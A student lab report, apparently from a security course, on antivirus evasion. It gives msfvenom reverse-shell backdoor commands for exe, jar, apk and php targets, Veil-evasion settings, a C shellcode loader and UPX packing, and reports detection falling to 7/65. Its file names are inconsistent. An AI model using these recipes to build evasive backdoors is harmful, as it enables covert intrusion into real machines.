Document

20174324 次旦加措《网络对抗技术》Exp3免杀原理与实践

一,实验内容

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件

   正确使用msf编码器

step1

实验二中已经生成了后门软件20174324backdoor.exe,然后使用VirusTotal对其进行检测。

step2

被57个杀毒软件检测到,明显失败,下面我们对其进行一些加工。
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192******* LPORT=5103 -f exe > 20174324backdoor1.exe指令,来对后门程序进行一次次编码。其中-e选择编码器,-b选择待清除字符,清除\x00是因为shellcode中以\x00作为结束符,之后再次使用VirusTotal对其进行检测。

依然被57个杀软检测到,失败。
之后使用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.*******LPORT=5121 -f exe > 20174324backdoor2.exe
其中使用-i设置10次编码次数。生成文件20174324backdoor2.exe后同样使用VirusTotal对其进行检测.

被56个杀软检测到,同样失败。
单纯的编码并不能做到免杀的效果。原因主要两点

编码后的解码总会有一部分固定的解码部分加入,杀软只要以它为目标就能够准确检测到。

msfvenom中exe文件都是以固定的模板生成的,杀软针对这类模板加以侦测,就可以找到恶意代码。

 

2msfvenom生成如jar之类的其他文件

1.生成jar文件

msfvenom -p java/meterpreter/reverse_tcp lhost=192.******** lport=528 x> 20174324_JAVAbackdoor.jar

扫描结果:检出率确实降低了不少

2.生成apk文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.********* LPORT=5236 R > 20174324_APKbackdoor.apk

扫描结果感觉和上面jar差不多

3.生成php文件msfvenom -p php/meterpreter/reverse_tcp lhost=192.********* lport=5236 x> 20174324_PHPbackdoor.php

扫描结果比之前的那几个都要好很多

3 veil-evasion

这安装工具的安装方法参考
veils安装指南

 

安装好veil

然后输入veil指令,进入veil控制面板

输入use evasion命令进入veil-evasion 

输入use c/meterpreter/rev_tcp.py进入配置界面 

设置反弹连接IP:set LHOST 192.168。157.134此处为KaliIP),端口:set LPORT 5236

输入generate生成文件,接着输入你想要payload的名字20174324_eva.exe,如图所示,文件保存路径为:/var/lib/veil/output/compiled/20174324_eva.exe

3.使用shellcode编程

使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=5103 -f c来生成一段shellcode。

然后创建一个c文件wpyshell.c,将下述代码及新建的shellcode复制进去

unsigned char buf[] = 'shellcode'

  • intmain()
  • {
     
  •     int(*func)() = (int(*)())buf;
        func();
  • }
  • 然后因为我们需要将这个放入windoes下运行,所以需要进行交叉编译(没有的话可以sudo apt-get install mingw-w64下载编译软件)

  • i686-w64-mingw32-g++ wffshell.c -o wffshell.exe

 shellcode刚编译成功,系统就会报警了,且扫描结果看来伪装的不够好。

 

使用压缩壳:UPX

以上面所得到的恶意软件``为目标加壳,输入指令upx 20175103veil1.exe -o yb.upxed.exe

使用VirusTotal检测该文件。

被38个检测出来,失败,因为这种壳已经被大部分杀毒软件所识别。

自行编译Veil生成的源码

复制到win10中进行编译,用cmd打开minGW的GCC编译器进行编译。

Windows Defender请求扫描刚生成的EXE,我想,让你扫描吧,大不了我再换种方法。遗憾的是,扫描结果为安全,我有什么办法呢。

趁热打铁,那我放到网上测试一波。恍恍惚惚,7/65,只有7个杀毒软件识别为病毒,编译的后门就这样瞒天过海了。

然后用windows Defender查杀,结果是安全的。

(1)杀软是如何检测出恶意代码的?

  • 1.静态特征码查杀概念

    从病毒体中提取的病毒特征码,逐个与程序文件比较。特征码是反病毒公司在分析病毒时,确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别开来。

  • 2.启发式查杀

    启发式查杀是虚拟机引擎和行为检测相结合,通过模拟执行, 分析程序行为的安全检测技术。

     

  • 3.云查杀

    云安全机制是一种新兴的安全查杀机制,不同的安全厂商的云安全查杀机制不一样。基于云共享特征库扫描机制360 安全卫士,电脑管家,基于主动防御信誉云的扫描机制 。

    (2)免杀是做什么?

    就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。

    (3)免杀的基本方法有哪些?

    如何绕过静态查杀?

    1 动态调用 API

    2 代码混淆技术

    3 底层API替代调用

    4 加壳保护

    如何突破启发式?

    1 内存载入解析技术 2 模块二次载入技术 3 模块劫持和白名单 4 白名单进程  

3 实验体会

虽然实际操作由于客观因素导致无法完成,但通过同学的实验报告也能够基本了解到后门软件的原理,,对无论是查杀还是免杀都有了自己初步的认识。受益匪浅。

 

 
posted @ 2020-05-27 23:14  20174324次旦加措  阅读(137)  评论(0编辑  收藏  举报